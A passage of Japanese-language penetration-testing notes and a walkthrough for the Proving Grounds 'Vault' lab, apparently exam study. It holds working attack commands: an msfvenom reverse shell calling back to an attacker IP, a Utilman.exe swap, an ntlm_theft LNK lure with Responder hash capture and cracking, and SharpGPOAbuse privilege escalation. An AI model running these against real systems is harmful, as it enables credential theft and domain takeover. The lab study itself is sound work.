LDAP 192.168.206.172 389 DC Storage Replica Administrators membercount: 0
LDAP 192.168.206.172 389 DC Domain Computers membercount: 0
LDAP 192.168.206.172 389 DC Domain Controllers membercount: 0
LDAP 192.168.206.172 389 DC Schema Admins membercount: 1
LDAP 192.168.206.172 389 DC Enterprise Admins membercount: 1
LDAP 192.168.206.172 389 DC Cert Publishers membercount: 0
LDAP 192.168.206.172 389 DC Domain Admins membercount: 1
LDAP 192.168.206.172 389 DC Domain Users membercount: 0
LDAP 192.168.206.172 389 DC Domain Guests membercount: 0
LDAP 192.168.206.172 389 DC Group Policy Creator Owners membercount: 1
LDAP 192.168.206.172 389 DC RAS and IAS Servers membercount: 0
LDAP 192.168.206.172 389 DC Server Operators membercount: 1
LDAP 192.168.206.172 389 DC Account Operators membercount: 0
LDAP 192.168.206.172 389 DC Pre-Windows 2000 Compatible Access membercount: 1
LDAP 192.168.206.172 389 DC Incoming Forest Trust Builders membercount: 0
LDAP 192.168.206.172 389 DC Windows Authorization Access Group membercount: 1
LDAP 192.168.206.172 389 DC Terminal Server License Servers membercount: 0
LDAP 192.168.206.172 389 DC Allowed RODC Password Replication Group membercount: 0
LDAP 192.168.206.172 389 DC Denied RODC Password Replication Group membercount: 8
LDAP 192.168.206.172 389 DC Read-only Domain Controllers membercount: 0
LDAP 192.168.206.172 389 DC Enterprise Read-only Domain Controllers membercount: 0
LDAP 192.168.206.172 389 DC Cloneable Domain Controllers membercount: 0
LDAP 192.168.206.172 389 DC Protected Users membercount: 0
LDAP 192.168.206.172 389 DC Key Admins membercount: 0
LDAP 192.168.206.172 389 DC Enterprise Key Admins membercount: 0
LDAP 192.168.206.172 389 DC DnsAdmins membercount: 0
LDAP 192.168.206.172 389 DC DnsUpdateProxy membercount: 0
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ impacket-GetUserSPNs vault.offsec/ANIRUDH:"SecureHM" -dc-ip 192.168.206.172 -request -outputfile kerberoast.hash
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
No entries found!
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$
C$に書き込み権限ある
SeRestorePrivilege で rdpが有効な場合
cd C:\Windows\system32
ren Utilman.exe Utilman.old
ren cmd.exe Utilman.exe
rdesktop 192.168.206.172
Winkey+U
⇒うまくいった
Winkey+Uのスクショ？？？
SeRestorePrivilege で rdpが無効な場合
SeRestoreAbuse.exe https://github.com/dxnboy/redteam/blob/master/SeRestoreAbuse.exe
wget -O SeRestoreAbuse.exe https://raw.githubusercontent.com/dxnboy/redteam/master/SeRestoreAbuse.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.187 LPORT=443 -f exe -o rev.exe
rlwrap -cAr nc -lvnp 443
*Evil-WinRM* PS C:\temp> .\SeRestoreAbuse.exe .\rev.exe
RegCreateKeyExA result: 0
RegSetValueExA result: 0
*Evil-WinRM* PS C:\temp>
⇒リバースshell来なかった。 これはなぜうまくいかない？？？
次にbloodhound
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ nxc ldap 192.168.206.172 -d vault.offsec -u ANIRUDH -p 'SecureHM' --bloodhound --collection All --dns-server 192.168.206.172
LDAP 192.168.206.172 389 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:vault.offsec)
LDAP 192.168.206.172 389 DC [+] vault.offsec\ANIRUDH:SecureHM (Pwn3d!)
LDAP 192.168.206.172 389 DC Resolved collection methods: acl, group, psremote, localadmin, objectprops, rdp, container, session, trusts, dcom
LDAP 192.168.206.172 389 DC Done in 00M 20S
LDAP 192.168.206.172 389 DC Compressing output into /home/kali/.nxc/logs/DC_192.168.206.172_2026-06-30_232120_bloodhound.zip
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
bloodhound
http://127.0.0.1:8080/
bloodhoundのスクショ？？？
GPOオブジェクトに対して書き込み系権限がある
SharpGPOAbuse.exe
wget https://raw.githubusercontent.com/byronkg/SharpGPOAbuse/main/SharpGPOAbuse-master/SharpGPOAbuse.exe
upload SharpGPOAbuse.exe
net localgroup administrators
SharpGPOAbuse.exe --AddComputerTask --TaskName rev --Author test --Command C:\Windows\Temp\rev.exe --GPOName "Default Domain Policy"
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName " Default Domain Policy"
gpupdate /force
net localgroup administrators
*Evil-WinRM* PS C:\Users\anirudh\Documents> upload SharpGPOAbuse.exe
Info: Uploading /home/kali/oscp/pGpractice/Vault/192.168.206.172/SharpGPOAbuse.exe to C:\Users\anirudh\Documents\SharpGPOAbuse.exe
Info: Upload successful!
*Evil-WinRM* PS C:\Users\anirudh\Documents> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.
*Evil-WinRM* PS C:\Users\anirudh\Documents> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName " Default Domain Policy"
[+] Domain = vault.offsec
[+] Domain Controller = DC.vault.offsec
[+] Distinguished Name = CN=Policies,CN=System,DC=vault,DC=offsec
[+] SID Value of anirudh = S-1-5-21-537427935-490066102-1511301751-1103
[+] GUID of " Default Domain Policy" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] File exists: \\vault.offsec\SysVol\vault.offsec\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[!] Group Memberships are already defined in the GPO. Use --force to make changes. This option might break the affected systems!
[-] Exiting...
*Evil-WinRM* PS C:\Users\anirudh\Documents> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
*Evil-WinRM* PS C:\Users\anirudh\Documents> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
anirudh
The command completed successfully.
*Evil-WinRM* PS C:\Users\anirudh\Documents>
flag検索
cmd /c "dir C:\Users\proof.txt /s /b"
cmd /c "dir C:\proof.txt /s /b"
gci C:\Users -Filter proof.txt -Recurse -Force -ea SilentlyContinue | select -ExpandProperty FullName
gci C:\ -Filter proof.txt -Recurse -Force -ea SilentlyContinue | select -ExpandProperty FullName
*Evil-WinRM* PS C:\Users\anirudh\Documents> cmd /c "dir C:\Users\proof.txt /s /b"
The term 'cmd' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ cmd /c "dir C:\Users\proof.txt /s /b"
+ ~~~
+ CategoryInfo : ObjectNotFound: (cmd:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
*Evil-WinRM* PS C:\Users\anirudh\Documents> gci C:\Users -Filter proof.txt -Recurse -Force -ea SilentlyContinue | select -ExpandProperty FullName
C:\Users\Administrator\Desktop\proof.txt
*Evil-WinRM* PS C:\Users\anirudh\Documents>
walkthrough(AI)¶
このAI版 walkthrough は、生メモを再現しやすく整理したもの。Vault は Guest で書ける SMB 共有に LNK lure を置き、NetNTLMv2 を捕獲して ANIRUDH の WinRM へ進み、GPO 書き込み権限で local admin を取る。
1. Guest SMB と writable share を確認¶
Guest ログインで SMB 共有を確認する。DocumentsShare に書き込み可能。
nxc smb 192.168.206.172 -u guest -p '' --shares
smbclient //192.168.206.172/DocumentsShare -U 'guest%'
2. ntlm_theft で LNK lure を作る¶
共有を誰かが開いたときに攻撃端末へ認証を飛ばすため、LNK ファイルを作る。
git clone https://github.com/Greenwolf/ntlm_theft.git
cd ntlm_theft
python3 ntlm_theft.py -g lnk -s 192.168.45.187 -f vault
DocumentsShare に配置する。
smbclient //192.168.206.172/DocumentsShare -U 'guest%'
put vault/vault.lnk
3. Responder で NetNTLMv2 を捕獲して crack¶
Responder で待ち受けると、ANIRUDH の NetNTLMv2 hash が取れる。
sudo responder -I tun0 -v
hash を crack する。
hashcat -m 5600 anirudh.hash /usr/share/wordlists/rockyou.txt
john anirudh.hash --wordlist=/usr/share/wordlists/rockyou.txt
得られる資格情報。
ANIRUDH / SecureHM
4. ANIRUDH で WinRM¶
取得した資格情報を各サービスに試し、WinRM する。
for p in smb rdp winrm; do nxc $p 192.168.206.172 -u anirudh -p 'SecureHM'; done
evil-winrm -i 192.168.206.172 -u ANIRUDH -p 'SecureHM'
5. BloodHound で GPO write path を確認¶
ANIRUDH の権限で BloodHound データを取得する。
nxc ldap 192.168.206.172 -d vault.offsec -u ANIRUDH -p 'SecureHM' --bloodhound --collection All --dns-server 192.168.206.172
BloodHound で GPO への書き込みパスを確認する。ここでは Default Domain Policy を悪用して、ANIRUDH を local Administrators に追加する。
6. SharpGPOAbuse で local admin を付与¶
SharpGPOAbuse を準備してアップロードする。
wget https://raw.githubusercontent.com/byronkg/SharpGPOAbuse/main/SharpGPOAbuse-master/SharpGPOAbuse.exe
upload SharpGPOAbuse.exe
net localgroup administrators
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName " Default Domain Policy"
gpupdate /force
net localgroup administrators
GPO 適用後、ANIRUDH が local Administrators に入る。
7. proof を取得¶
Administrator の proof を探して読む。
gci C:\Users -Filter proof.txt -Recurse -Force -ea SilentlyContinue | select -ExpandProperty FullName
type C:\Users\Administrator\Desktop\proof.txt
8. 攻撃の流れまとめ¶
Guest SMB login
→ writable DocumentsShare
→ ntlm_theft LNK lure
→ ANIRUDH NetNTLMv2 捕獲
→ hash crack: SecureHM
→ WinRM as ANIRUDH
→ BloodHound で GPO write path
→ SharpGPOAbuse で local Administrators 追加
→ gpupdate
→ Administrator proof.txt
drill¶
Guest SMBとwritable share確認¶
nxc smb 192.168.206.172 -u guest -p '' --shares
smbclient //192.168.206.172/DocumentsShare -U 'guest%'
ntlm_theftでLNK作成・配置¶
git clone https://github.com/Greenwolf/ntlm_theft.git
cd ntlm_theft
python3 ntlm_theft.py -g lnk -s 192.168.45.187 -f vault
smbclient //192.168.206.172/DocumentsShare -U 'guest%'
put vault/vault.lnk
NetNTLMv2捕獲とクラック¶
sudo responder -I tun0 -v
hashcat -m 5600 anirudh.hash /usr/share/wordlists/rockyou.txt
john anirudh.hash --wordlist=/usr/share/wordlists/rockyou.txt
ANIRUDHでWinRM¶
for p in smb rdp winrm; do nxc $p 192.168.206.172 -u anirudh -p 'SecureHM'; done
evil-winrm -i 192.168.206.172 -u ANIRUDH -p 'SecureHM'
BloodHoundとGPO abuse¶
nxc ldap 192.168.206.172 -d vault.offsec -u ANIRUDH -p 'SecureHM' --bloodhound --collection All --dns-server 192.168.206.172
wget https://raw.githubusercontent.com/byronkg/SharpGPOAbuse/main/SharpGPOAbuse-master/SharpGPOAbuse.exe
upload SharpGPOAbuse.exe
net localgroup administrators
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName " Default Domain Policy"
gpupdate /force
net localgroup administrators
proof取得¶
gci C:\Users -Filter proof.txt -Recurse -Force -ea SilentlyContinue | select -ExpandProperty FullName
type C:\Users\Administrator\Desktop\proof.txt